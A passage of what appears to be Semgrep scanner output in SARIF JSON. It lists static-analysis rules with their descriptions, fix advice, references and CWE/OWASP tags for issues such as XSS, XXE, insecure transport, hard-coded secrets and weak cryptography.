pages, this exposes your application to cross-site scripting (XSS) vulnerabilities. Remove 'autoescape: False' or set it to 'True'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.xss.global-autoescape-off.global-autoescape-off)\n - [https://docs.djangoproject.com/en/3.1/ref/settings/#templates](https://docs.djangoproject.com/en/3.1/ref/settings/#templates)\n - [https://docs.djangoproject.com/en/3.1/topics/templates/#django.template.backends.django.DjangoTemplates](https://docs.djangoproject.com/en/3.1/topics/templates/#django.template.backends.django.DjangoTemplates)\n","text":"Autoescape is globally disbaled for this Django application. If you are rendering any web pages, this exposes your application to cross-site scripting (XSS) vulnerabilities. Remove 'autoescape: False' or set it to 'True'."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.xss.global-autoescape-off.global-autoescape-off","id":"python.django.security.audit.xss.global-autoescape-off.global-autoescape-off","name":"python.django.security.audit.xss.global-autoescape-off.global-autoescape-off","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.xss.global-autoescape-off.global-autoescape-off"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Authentication detected over HTTP. HTTP does not provide any encryption or protection for these authentication credentials. This may expose these credentials to unauthorized parties. Use 'https://' instead."},"help":{"markdown":"Authentication detected over HTTP. HTTP does not provide any encryption or protection for these authentication credentials. This may expose these credentials to unauthorized parties. Use 'https://' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.requests.security.no-auth-over-http.no-auth-over-http)\n - [https://semgrep.dev/blog/2020/bento-check-no-auth-over-http/](https://semgrep.dev/blog/2020/bento-check-no-auth-over-http/)\n - [https://bento.dev/checks/requests/no-auth-over-http/](https://bento.dev/checks/requests/no-auth-over-http/)\n","text":"Authentication detected over HTTP. HTTP does not provide any encryption or protection for these authentication credentials. This may expose these credentials to unauthorized parties. Use 'https://' instead."},"helpUri":"https://semgrep.dev/r/python.requests.security.no-auth-over-http.no-auth-over-http","id":"python.requests.security.no-auth-over-http.no-auth-over-http","name":"python.requests.security.no-auth-over-http.no-auth-over-http","properties":{"precision":"very-high","tags":["CWE-523: Unprotected Transport of Credentials","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.requests.security.no-auth-over-http.no-auth-over-http"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"multiprocessing.Process.close() is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use join()."},"help":{"markdown":"multiprocessing.Process.close() is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use join().\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-multiprocess1)\n","text":"multiprocessing.Process.close() is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use join()."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-multiprocess1","id":"python.lang.compatibility.python37.python37-compatibility-multiprocess1","name":"python.lang.compatibility.python37.python37-compatibility-multiprocess1","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-multiprocess1"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an insecure transmission channel. 'URLopener.retrieve(...)' is being used with 'ftp://'. Use SFTP instead. urllib does not support SFTP, so consider using a library which supports SFTP."},"help":{"markdown":"Detected an insecure transmission channel. 'URLopener.retrieve(...)' is being used with 'ftp://'. Use SFTP instead. urllib does not support SFTP, so consider using a library which supports SFTP.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-retrieve-ftp.insecure-urlopener-retrieve-ftp)\n - [https://docs.python.org/3/library/urllib.request.html#urllib.request.URLopener.retrieve](https://docs.python.org/3/library/urllib.request.html#urllib.request.URLopener.retrieve)\n","text":"Detected an insecure transmission channel. 'URLopener.retrieve(...)' is being used with 'ftp://'. Use SFTP instead. urllib does not support SFTP, so consider using a library which supports SFTP."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-retrieve-ftp.insecure-urlopener-retrieve-ftp","id":"python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-retrieve-ftp.insecure-urlopener-retrieve-ftp","name":"python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-retrieve-ftp.insecure-urlopener-retrieve-ftp","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-retrieve-ftp.insecure-urlopener-retrieve-ftp"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS. If this wasn't intentional, it's recommended to set the Secure flag to true so the cookie will only be sent over HTTPS or to use the Cookie Policy Middleware to globally set the Secure flag. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS. If this wasn't intentional, it's recommended to set the Secure flag to true so the cookie will only be sent over HTTPS or to use the Cookie Policy Middleware to globally set the Secure flag. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.audit.cookies.missing-secure.missing-secure)\n - [https://learn.microsoft.com/en-us/aspnet/core/security/authentication/cookie?view=aspnetcore-8.0#cookie-policy-middleware](https://learn.microsoft.com/en-us/aspnet/core/security/authentication/cookie?view=aspnetcore-8.0#cookie-policy-middleware)\n - [https://learn.microsoft.com/en-us/dotnet/api/microsoft.aspnetcore.http.cookieoptions](https://learn.microsoft.com/en-us/dotnet/api/microsoft.aspnetcore.http.cookieoptions)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS. If this wasn't intentional, it's recommended to set the Secure flag to true so the cookie will only be sent over HTTPS or to use the Cookie Policy Middleware to globally set the Secure flag. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default."},"helpUri":"https://semgrep.dev/r/csharp.lang.audit.cookies.missing-secure.missing-secure","id":"csharp.lang.audit.cookies.missing-secure.missing-secure","name":"csharp.lang.audit.cookies.missing-secure.missing-secure","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.audit.cookies.missing-secure.missing-secure"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an AWS load balancer with an insecure TLS version. TLS versions less than 1.2 are considered insecure because they can be broken. To fix this, set your `ssl_policy` to `\"ELBSecurityPolicy-TLS13-1-2-2021-06\"`, or include a default action to redirect to HTTPS."},"help":{"markdown":"Detected an AWS load balancer with an insecure TLS version. TLS versions less than 1.2 are considered insecure because they can be broken. To fix this, set your `ssl_policy` to `\"ELBSecurityPolicy-TLS13-1-2-2021-06\"`, or include a default action to redirect to HTTPS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.insecure-load-balancer-tls-version.insecure-load-balancer-tls-version)\n - [https://www.ietf.org/rfc/rfc5246.txt](https://www.ietf.org/rfc/rfc5246.txt)\n","text":"Detected an AWS load balancer with an insecure TLS version. TLS versions less than 1.2 are considered insecure because they can be broken. To fix this, set your `ssl_policy` to `\"ELBSecurityPolicy-TLS13-1-2-2021-06\"`, or include a default action to redirect to HTTPS."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.insecure-load-balancer-tls-version.insecure-load-balancer-tls-version","id":"terraform.aws.security.insecure-load-balancer-tls-version.insecure-load-balancer-tls-version","name":"terraform.aws.security.insecure-load-balancer-tls-version.insecure-load-balancer-tls-version","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.insecure-load-balancer-tls-version.insecure-load-balancer-tls-version"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Telnet does not encrypt communications. Use SSH instead."},"help":{"markdown":"Telnet does not encrypt communications. Use SSH instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.telnetlib.telnetlib)\n - [https://docs.python.org/3/library/telnetlib.html](https://docs.python.org/3/library/telnetlib.html)\n","text":"Telnet does not encrypt communications. Use SSH instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.telnetlib.telnetlib","id":"python.lang.security.audit.telnetlib.telnetlib","name":"python.lang.security.audit.telnetlib.telnetlib","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.telnetlib.telnetlib"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a possible ZeroDivisionError."},"help":{"markdown":"Detected a possible ZeroDivisionError.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.divide-by-zero.divide-by-zero)\n - [https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_divide_by_zero.rb](https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_divide_by_zero.rb)\n","text":"Detected a possible ZeroDivisionError."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.divide-by-zero.divide-by-zero","id":"ruby.lang.security.divide-by-zero.divide-by-zero","name":"ruby.lang.security.divide-by-zero.divide-by-zero","properties":{"precision":"very-high","tags":["CWE-369: Divide By Zero","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.divide-by-zero.divide-by-zero"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The 'final' call of a Decipher object checks the authentication tag in a mode for authenticated encryption. Failing to call 'final' will invalidate all integrity guarantees of the released ciphertext."},"help":{"markdown":"The 'final' call of a Decipher object checks the authentication tag in a mode for authenticated encryption. Failing to call 'final' will invalidate all integrity guarantees of the released ciphertext.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.node-crypto.security.aead-no-final.aead-no-final)\n - [https://nodejs.org/api/crypto.html#deciphersetauthtagbuffer-encoding](https://nodejs.org/api/crypto.html#deciphersetauthtagbuffer-encoding)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures/](https://owasp.org/Top10/A02_2021-Cryptographic_Failures/)\n","text":"The 'final' call of a Decipher object checks the authentication tag in a mode for authenticated encryption. Failing to call 'final' will invalidate all integrity guarantees of the released ciphertext."},"helpUri":"https://semgrep.dev/r/javascript.node-crypto.security.aead-no-final.aead-no-final","id":"javascript.node-crypto.security.aead-no-final.aead-no-final","name":"javascript.node-crypto.security.aead-no-final.aead-no-final","properties":{"precision":"very-high","tags":["CWE-310: CWE CATEGORY: Cryptographic Issues","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.node-crypto.security.aead-no-final.aead-no-final"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the XML Parser it can result in XML External or Internal Entity (XXE) Processing vulnerabilities"},"help":{"markdown":"If unverified user data can reach the XML Parser it can result in XML External or Internal Entity (XXE) Processing vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.xml2json.security.audit.xml2json-xxe.xml2json-xxe)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"If unverified user data can reach the XML Parser it can result in XML External or Internal Entity (XXE) Processing vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.xml2json.security.audit.xml2json-xxe.xml2json-xxe","id":"javascript.xml2json.security.audit.xml2json-xxe.xml2json-xxe","name":"javascript.xml2json.security.audit.xml2json-xxe.xml2json-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","LOW CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.xml2json.security.audit.xml2json-xxe.xml2json-xxe"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Evaluating non-constant commands. This can lead to command injection."},"help":{"markdown":"Evaluating non-constant commands. This can lead to command injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.eval-use.eval-use)\n - [https://www.php.net/manual/en/function.eval](https://www.php.net/manual/en/function.eval)\n - [https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/NoEvalsSniff.php](https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/NoEvalsSniff.php)\n","text":"Evaluating non-constant commands. This can lead to command injection."},"helpUri":"https://semgrep.dev/r/php.lang.security.eval-use.eval-use","id":"php.lang.security.eval-use.eval-use","name":"php.lang.security.eval-use.eval-use","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.eval-use.eval-use"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The object is passed strictly to jsonwebtoken.sign(...) Make sure that sensitive information is not exposed through JWT token payload."},"help":{"markdown":"The object is passed strictly to jsonwebtoken.sign(...) Make sure that sensitive information is not exposed through JWT token payload.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.jwt.security.audit.jwt-exposed-data.ruby-jwt-exposed-data)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"The object is passed strictly to jsonwebtoken.sign(...) Make sure that sensitive information is not exposed through JWT token payload."},"helpUri":"https://semgrep.dev/r/ruby.jwt.security.audit.jwt-exposed-data.ruby-jwt-exposed-data","id":"ruby.jwt.security.audit.jwt-exposed-data.ruby-jwt-exposed-data","name":"ruby.jwt.security.audit.jwt-exposed-data.ruby-jwt-exposed-data","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.jwt.security.audit.jwt-exposed-data.ruby-jwt-exposed-data"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Static IV used with AES in CBC mode. Static IVs enable chosen-plaintext attacks against encrypted data."},"help":{"markdown":"Static IV used with AES in CBC mode. Static IVs enable chosen-plaintext attacks against encrypted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.openssl-cbc-static-iv.openssl-cbc-static-iv)\n - [https://csrc.nist.gov/publications/detail/sp/800-38a/final](https://csrc.nist.gov/publications/detail/sp/800-38a/final)\n","text":"Static IV used with AES in CBC mode. Static IVs enable chosen-plaintext attacks against encrypted data."},"helpUri":"https://semgrep.dev/r/php.lang.security.openssl-cbc-static-iv.openssl-cbc-static-iv","id":"php.lang.security.openssl-cbc-static-iv.openssl-cbc-static-iv","name":"php.lang.security.openssl-cbc-static-iv.openssl-cbc-static-iv","properties":{"precision":"very-high","tags":["CWE-329: Generation of Predictable IV with CBC Mode","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.openssl-cbc-static-iv.openssl-cbc-static-iv"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests sent to http:// URLs. This is dangerous as the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, only send requests to https:// URLs."},"help":{"markdown":"Checks for requests sent to http:// URLs. This is dangerous as the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, only send requests to https:// URLs.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.http-request.http-request)\n - [https://nodejs.org/api/http.html#http_http_request_options_callback](https://nodejs.org/api/http.html#http_http_request_options_callback)\n","text":"Checks for requests sent to http:// URLs. This is dangerous as the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, only send requests to https:// URLs."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.http-request.http-request","id":"problem-based-packs.insecure-transport.js-node.http-request.http-request","name":"problem-based-packs.insecure-transport.js-node.http-request.http-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.js-node.http-request.http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Format string attacks occur when untrusted data is passed directly into functions that build formatted strings, within the format parameter. This can result in memory/data leakage."},"help":{"markdown":"Format string attacks occur when untrusted data is passed directly into functions that build formatted strings, within the format parameter. This can result in memory/data leakage.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.lang.string.format-string.swift-format-string)\n - [https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html](https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html)\n","text":"Format string attacks occur when untrusted data is passed directly into functions that build formatted strings, within the format parameter. This can result in memory/data leakage."},"helpUri":"https://semgrep.dev/r/swift.lang.string.format-string.swift-format-string","id":"swift.lang.string.format-string.swift-format-string","name":"swift.lang.string.format-string.swift-format-string","properties":{"precision":"very-high","tags":["CWE-134: Use of Externally-Controlled Format String","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.lang.string.format-string.swift-format-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pymssql.python-pymssql-hardcoded-secret.python-pymssql-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.pymssql.python-pymssql-hardcoded-secret.python-pymssql-hardcoded-secret","id":"python.pymssql.python-pymssql-hardcoded-secret.python-pymssql-hardcoded-secret","name":"python.pymssql.python-pymssql-hardcoded-secret.python-pymssql-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pymssql.python-pymssql-hardcoded-secret.python-pymssql-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Unencoded JSON in HTML context is vulnerable to cross-site scripting, because `</script>` is not properly encoded."},"help":{"markdown":"Unencoded JSON in HTML context is vulnerable to cross-site scripting, because `</script>` is not properly encoded.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.razor.security.html-raw-json.html-raw-json)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Unencoded JSON in HTML context is vulnerable to cross-site scripting, because `</script>` is not properly encoded."},"helpUri":"https://semgrep.dev/r/csharp.razor.security.html-raw-json.html-raw-json","id":"csharp.razor.security.html-raw-json.html-raw-json","name":"csharp.razor.security.html-raw-json.html-raw-json","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.razor.security.html-raw-json.html-raw-json"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Make sure that unverified user data can not reach the XML Parser, as it can result in XML External or Internal Entity (XXE) Processing vulnerabilities."},"help":{"markdown":"Make sure that unverified user data can not reach the XML Parser, as it can result in XML External or Internal Entity (XXE) Processing vulnerabilities.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.express-expat-xxe.express-expat-xxe)\n - [https://github.com/astro/node-expat](https://github.com/astro/node-expat)\n","text":"Make sure that unverified user data can not reach the XML Parser, as it can result in XML External or Internal Entity (XXE) Processing vulnerabilities."},"helpUri":"https://semgrep.dev/r/javascript.express.security.express-expat-xxe.express-expat-xxe","id":"javascript.express.security.express-expat-xxe.express-expat-xxe","name":"javascript.express.security.express-expat-xxe.express-expat-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.express-expat-xxe.express-expat-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected input from a HTTPServletRequest going into an LDAP query. This could lead to LDAP injection if the input is not properly sanitized, which could result in attackers modifying objects in the LDAP tree structure. Ensure data passed to an LDAP query is not controllable or properly sanitize the data."},"help":{"markdown":"Detected input from a HTTPServletRequest going into an LDAP query. This could lead to LDAP injection if the input is not properly sanitized, which could result in attackers modifying objects in the LDAP tree structure. Ensure data passed to an LDAP query is not controllable or properly sanitize the data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.tainted-ldapi-from-http-request.tainted-ldapi-from-http-request)\n - [https://sensei.securecodewarrior.com/recipes/scw%3Ajava%3ALDAP-injection](https://sensei.securecodewarrior.com/recipes/scw%3Ajava%3ALDAP-injection)\n","text":"Detected input from a HTTPServletRequest going into an LDAP query. This could lead to LDAP injection if the input is not properly sanitized, which could result in attackers modifying objects in the LDAP tree structure. Ensure data passed to an LDAP query is not controllable or properly sanitize the data."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.tainted-ldapi-from-http-request.tainted-ldapi-from-http-request","id":"java.lang.security.audit.tainted-ldapi-from-http-request.tainted-ldapi-from-http-request","name":"java.lang.security.audit.tainted-ldapi-from-http-request.tainted-ldapi-from-http-request","properties":{"precision":"very-high","tags":["CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.tainted-ldapi-from-http-request.tainted-ldapi-from-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Initializing a security context for Dask (`distributed`) without \"require_encryption\" keyword argument may silently fail to provide security."},"help":{"markdown":"Initializing a security context for Dask (`distributed`) without \"require_encryption\" keyword argument may silently fail to provide security.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.distributed.security.require-encryption)\n - [https://distributed.dask.org/en/latest/tls.html?highlight=require_encryption#parameters](https://distributed.dask.org/en/latest/tls.html?highlight=require_encryption#parameters)\n","text":"Initializing a security context for Dask (`distributed`) without \"require_encryption\" keyword argument may silently fail to provide security."},"helpUri":"https://semgrep.dev/r/python.distributed.security.require-encryption","id":"python.distributed.security.require-encryption","name":"python.distributed.security.require-encryption","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.distributed.security.require-encryption"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure FSX ONTAP file system is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure FSX ONTAP file system is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-fsx-ontapfs-encrypted-with-cmk.aws-fsx-ontapfs-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure FSX ONTAP file system is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-fsx-ontapfs-encrypted-with-cmk.aws-fsx-ontapfs-encrypted-with-cmk","id":"terraform.aws.security.aws-fsx-ontapfs-encrypted-with-cmk.aws-fsx-ontapfs-encrypted-with-cmk","name":"terraform.aws.security.aws-fsx-ontapfs-encrypted-with-cmk.aws-fsx-ontapfs-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-fsx-ontapfs-encrypted-with-cmk.aws-fsx-ontapfs-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pymssql.python-pymssql-empty-password.python-pymssql-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.pymssql.python-pymssql-empty-password.python-pymssql-empty-password","id":"python.pymssql.python-pymssql-empty-password.python-pymssql-empty-password","name":"python.pymssql.python-pymssql-empty-password.python-pymssql-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pymssql.python-pymssql-empty-password.python-pymssql-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected use of dynamic execution of JavaScript which may come from user-input, which can lead to Cross-Site-Scripting (XSS). Where possible avoid including user-input in functions which dynamically execute user-input."},"help":{"markdown":"Detected use of dynamic execution of JavaScript which may come from user-input, which can lead to Cross-Site-Scripting (XSS). Where possible avoid including user-input in functions which dynamically execute user-input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.detect-eval-with-expression.detect-eval-with-expression)\n - [https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval#never_use_eval!](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval#never_use_eval!)\n","text":"Detected use of dynamic execution of JavaScript which may come from user-input, which can lead to Cross-Site-Scripting (XSS). Where possible avoid including user-input in functions which dynamically execute 